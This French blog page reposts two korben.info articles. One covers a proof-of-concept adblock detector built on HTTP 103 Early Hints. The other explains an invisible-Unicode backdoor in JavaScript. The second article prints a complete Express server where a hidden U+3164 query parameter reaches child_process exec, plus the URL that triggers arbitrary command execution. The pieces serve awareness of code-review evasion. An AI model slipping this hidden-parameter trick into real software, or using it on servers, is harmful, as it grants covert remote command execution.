Powered By Blogger

Rechercher sur ce blogue

Aucun message portant le libellé JavaScript. Afficher tous les messages
Aucun message portant le libellé JavaScript. Afficher tous les messages

lundi 1 avril 2024

Une nouvelle technique permet de bloquer les bloqueurs de pubs sans JavaScript

 

Une nouvelle technique permet de bloquer les bloqueurs de pubs sans JavaScript

@KORBEN  —  26 MARS 2024

Les bloqueurs de pubs ont toujours été un souci pour pas mal de sites web. Perso, je ne m’en souci pas, mais d’autres mettent en place des stratégies parfois complexes notamment avec des JavaScript qui les détectent et bloquent l’utilisateur avec une grosse popup « DÉSACTIVE TON BLOQUEUR » ou lui envoie quand même de la publicité bien intrusive.



Et de leur côté, les bloqueurs de pub s’améliorent et se mettent à jour pour bloquer à leur tour ces JavaScript et ainsi de suite… Et cette petite guéguerre ne s’arrête jamais.


Enfin, ça, c’était vrai jusqu’à aujourd’hui puisqu’une nouvelle technique de détection des adblocks vient de voir le jour : la 103 Early Hints.


C’est encore un proof of concept mais l’idée c’est qu’au lieu d’attendre que la page se charge chez l’internaute pour vérifier s’il dispose d’un bloqueur de pub, on lui envoie des 103 Early Hints, c’est-à-dire des « indices » en amont, tel des petits éclaireurs. S’ils sont bloqués par le navigateur, alors le serveur web pourra renvoyer une page différente à l’internaute ou le rediriger, sans même que celui-ci ne s’en rende compte. Cette méthode est particulièrement efficace, car elle ne dépend pas de JavaScript, qui peut être désactivé ou manipulé côté client par les utilisateurs.



Les 103 Early Hints sont un code de statut HTTP informationnel (RFC 8297) qui fonctionne comme ceci : Quand un client fait une requête HTTP à un serveur, le serveur peut envoyer une réponse intermédiaire avec le code 103 Early Hints avant d’envoyer la réponse finale (200 OK par exemple).



Cette réponse 103 contient certains en-têtes que le serveur sait déjà qu’il va inclure dans la réponse finale, comme des en-têtes Link avec des ressources à pré-charger (scripts (de pub), CSS, etc.). En recevant ces en-têtes à l’avance dans le 103, le client peut commencer à télécharger ces ressources liées pendant que le serveur finit de préparer la réponse complète. Cela permet au client d’économiser du temps en parallélisant les téléchargements et au final la page se chargera plus rapidement pour l’utilisateur. Bien sûr, les en-têtes du 103 sont indicatifs et si le client ne gère pas le 103, il l’ignore simplement et attend la réponse finale du serveur.


Vous l’aurez compris, le 103 Early Hints est un mécanisme pour donner rapidement au client des indications sur la réponse à venir, afin qu’il puisse optimiser le chargement en parallèle des ressources liées, sans avoir à attendre la réponse complète du serveur.


Et le détourner comme cela, pour savoir si l’internaute dispose d’un bloqueur de pub, c’est très malin.


Pour mettre ça en place sur votre serveur, clonez donc le repo 103-early-anti-adblock puis installez les dépendances avec npm install. Ensuitz, générez les certificats SSL avec npm run certs (obligatoire pour HTTP/2) et lancez le bazar avec npm run serve


Lancez ensuite Firefox et admirez le résultat avec ou sans bloqueur de pub ! 🤓


Alors pourquoi Firefox ? Et bien pour le moment, cette technique ne fonctionne qu’avec Firefox. En effet, Chrome ne permet pas aux adblockers d’interagir avec les ressources chargées à l’aide des 103 Early Hints, et ne les affiche pas non plus dans la console dev. Et côté Apple, Safari ne prend pas du tout en charge les 103 Early Hints.



Mais ce n’est pas vraiment un souci puisque les navigateurs qui ne prennent pas totalement en charge les 103 Early Hints peuvent être facilement détectés en ajoutant une publicité factice au préchargement, qui ne sera pas bloquée par les bloqueurs de publicité.


Bref, ça risque encore de batailler dur entre les bloqueurs de pub et les sociétés qui s’y opposent.

REF.: korben.info/

mercredi 12 janvier 2022

Une backdoor invisible en JavaScript

 

 

Une backdoor invisible en JavaScript

Des chercheurs du cabinet de consultig Certitude, ont mis au point une backdoor (porte dérobée) qui ne peut pas être détectée, car elle utilise un caractère Unicode invisible. La technique n’est pas nouvelle, mais c’est une bonne piqûre de rappel (c’est la mode en ce moment, les rappels).

Celui-ci peut ainsi être interprété comme une variable dans un bout de code JavaScript. En effet, à partir de la version 2015 d’ECMAScript, tous les caractères Unicode ayant la propriété « ID_Start » peuvent être utilisés dans des variables ou des constantes.

Ainsi, le caractère « ㅤ » (0x3164 en hexadécimal) qu’on appelle également « HANGUL FILLER » est considéré comme une lettre et possède cette propriété « ID_Start ».

Il ne reste plus qu’à l’utiliser dans du code JavaScript en échappant le caractère comme ceci :

const { timeout,u3164} = req.query;

Ainsi, dans ce code, on ne passe pas uniquement 1 paramètre « timeout » dans la requête, mais 2 paramètres : timeout et notre caractère Unicode invisible.

Ainsi, quand on observe ce code :

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

On peut voir que le caractère est appelé à 2 endroits. Je les ai mis en gras. Sur Visual Studio c’est un peu plus voyant, car ces caractères forment des carrés jaunes (lignes 8 et 11).


Chaque élément du tableau, les commandes en dur et le paramètre fourni par l’utilisateur du script sont ensuite transmis à la fonction exec qui exécute les commandes au niveau du système d’exploitation.

Grâce à notre caractère invisible, on peut lui passer une commande bonus comme ceci en ajoutant le paramètre 0x3164 URL-encoded, ce qui donne %E3%85%A4 :

http://host:8080/network_health?%E3%85%A4=METTEZ-ICI-NIMPORTE-QUELLE-COMMANDE

Et voilà, la commande supplémentaire sera alors exécutée sur le système.

Ainsi, la détection de ce genre de code invisible dépendra vraiment de l’éditeur utilisé pour afficher le code. Comme vous avez pu le voir, sous Visual Studio c’est visible, mais subtil.

Dans le même genre, il est également possible de tromper l’auditeur d’un code avec des caractères qui se ressemblent. Par exemple, ce symbole “ǃ” n’est pas un point d’exclamation, mais un caractère Unicode appelé ALVEOLAR CLICK. Vous retrouverez l’ensemble de ces codes baptisés « Confusables » ici.

Vous trouverez tous les détails concernant cette technique ici.

 

REF.:   https://korben.info/backdoor-invisible-javascript.html